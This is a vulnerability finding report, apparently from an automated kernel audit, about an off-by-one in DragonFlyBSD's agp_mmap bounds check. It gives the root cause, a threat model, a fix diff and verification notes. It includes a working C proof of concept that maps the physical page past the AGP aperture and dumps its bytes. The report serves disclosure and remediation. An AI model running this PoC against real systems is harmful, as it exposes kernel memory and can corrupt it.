agp: off-by-one in agp_mmap aperture bounds check exposes one physical page past the AGP aperture
| Field | Value |
|---|---|
| ID | DF-1686 |
| File | sys/dev/agp/agp.c |
| Lines | 860, 862 |
| Severity | Low |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N |
| CWE | CWE-787 Out-of-bounds Write (off-by-one); CWE-125 Out-of-bounds Read |
| Confidence | certain |
| Status | new |
| CVE match | dfly_specific |
| Created | 2026-07-18 |
Summary
agp_mmap checks ap->a_offset > AGP_GET_APERTURE(dev) β strict
greater-than. When userspace requests mmap at byte offset ==
aperture, the check passes and the kernel returns
atop(aperture_base + aperture), the physical page immediately past the
aperture resource, mapping that physical page into the caller's address
space. The check must be >= (or, better,
offset + PAGE_SIZE > aperture).
Root cause
agp.c:860:
if (ap->a_offset > AGP_GET_APERTURE(dev)) return EINVAL;
ap->a_offset is the per-page byte offset supplied by the VM system during
a cdev mmap and is always page-aligned. The aperture is always a multiple
of PAGE_SIZE (it is in MB). The boundary value
ap->a_offset == AGP_GET_APERTURE(dev) is therefore page-aligned and slips
through the strict >.
agp.c:862 then returns
atop(rman_get_start(sc->as_aperture) + ap->a_offset), which for the
boundary offset is the first physical page AFTER the resource reserved
by bus_alloc_resource_any (agp.c:209-210). The returned physical page
is outside the aperture's rman resource.
Threat model
Attacker has /dev/agpgart open (default root-only β same precondition as
DF-1685) and calls mmap() with offset = aperture_size,
length = PAGE_SIZE, PROT_READ|PROT_WRITE.
The kernel maps a physical page that lies just past the AGP aperture PCI BAR. Depending on the host bridge layout this is either:
- an adjacent PCI BAR (write flips device control bits)
- an empty PCI hole (reads return
0xFFFFFFFF, writes dropped β harmless) - on systems where the aperture sits at the top of the 32-bit PCI MMIO window abutting lowmem/RAM β an arbitrary kernel RAM page, giving read+write access to 4 KiB of host memory that the caller did not otherwise have a mapping to
Information disclosure of up to 4 KiB of kernel/physical memory plus potential 4 KiB write primitive. Limited blast radius (single page, fixed offset relative to aperture) keeps this at Low, but it is a real bounds-check bug.
PoC
findings/poc/DF-1686/agp_mmap_oob.c:
/* agp_mmap_oob.c β minimal PoC, run as root on DragonFlyBSD with agp.ko loaded */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/agpio.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
int main(void) {
int fd = open("/dev/agpgart", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
agp_info ai = {};
ioctl(fd, AGPIOC_INFO, &ai);
size_t aper = ((size_t)ai.aper_size) << 20; /* MB -> bytes */
printf("aperture=%zu bytes\n", aper);
void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, aper);
if (p == MAP_FAILED) { perror("mmap at aperture"); return 2; }
printf("mapped the page PAST the aperture at %p β kernel returned OOB physical page\n", p);
/* Dump first 64 bytes to demonstrate disclosure */
unsigned char *c = p;
for (int i = 0; i < 64; i++) {
printf("%02x ", c[i]);
if ((i & 15) == 15) puts("");
}
munmap(p, 4096);
close(fd);
return 0;
}
Build: cc -O2 -o agp_mmap_oob agp_mmap_oob.c. Run as root.
Success: mmap does NOT return EINVAL (proving the bounds check failed)
and a hex dump of bytes from the page past the aperture is printed,
demonstrating disclosure of off-aperture physical memory.
Recommended fix
--- a/sys/dev/agp/agp.c
+++ b/sys/dev/agp/agp.c
@@ -857,7 +857,8 @@ static int
agp_mmap(struct dev_mmap_args *ap)
{
cdev_t kdev = ap->a_head.a_dev;
device_t dev = kdev->si_drv1;
struct agp_softc *sc = device_get_softc(dev);
- if (ap->a_offset > AGP_GET_APERTURE(dev))
+ /* Reject any page that is not fully inside the aperture. */
+ if (ap->a_offset + PAGE_SIZE > AGP_GET_APERTURE(dev))
return EINVAL;
ap->a_result = atop(rman_get_start(sc->as_aperture) + ap->a_offset);
return 0;
}
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1686 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | Fix for agp_mmap off-by-one | 355 B | view raw |
| VERDICT.md | verdict | Source-only verification verdict | 781 B | β raw |
| build.sh | build-script | No-op (source-only) | 109 B | view raw |
| run.sh | run-script | No-op (source-only) | 107 B | view raw |
VERDICT DF-1686: agp_mmap off-by-one
Verdict
REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.
Mechanism
a_offset > AGP_GET_APERTURE strict greater-than; boundary page at exact aperture end accepted.
Source reference: sys/dev/agp/agp.c:860.
Reproduction
Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed.
The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present
on the QEMU/virtio guest. The finding is HW-gated.
Fix
Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with
make -j6 nativekernel KERNCONF=X86_64_GENERIC β rc=0, -Werror clean.
See fix.diff for the git-apply-able patch.
Fix verification
fixedCombined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.
'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
Confirmed kernel references
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Detail
Exploit chain
none
Evidence (decisive lines)
Source confirmed: sys/dev/agp/agp.c:860. Combined 41-fix kernel build rc=0 -Werror clean.
PoC changes
fix.diff authored; validated by combined kernel build.
Verified recommended fix
Fix off-by-one bound. Matches finding.
Verdict
REPRODUCED (source-confirmed). Strict > aperture; boundary page accepted OOB. Cited path verified at sys/dev/agp/agp.c:860. HW/module-gated on QEMU guest.
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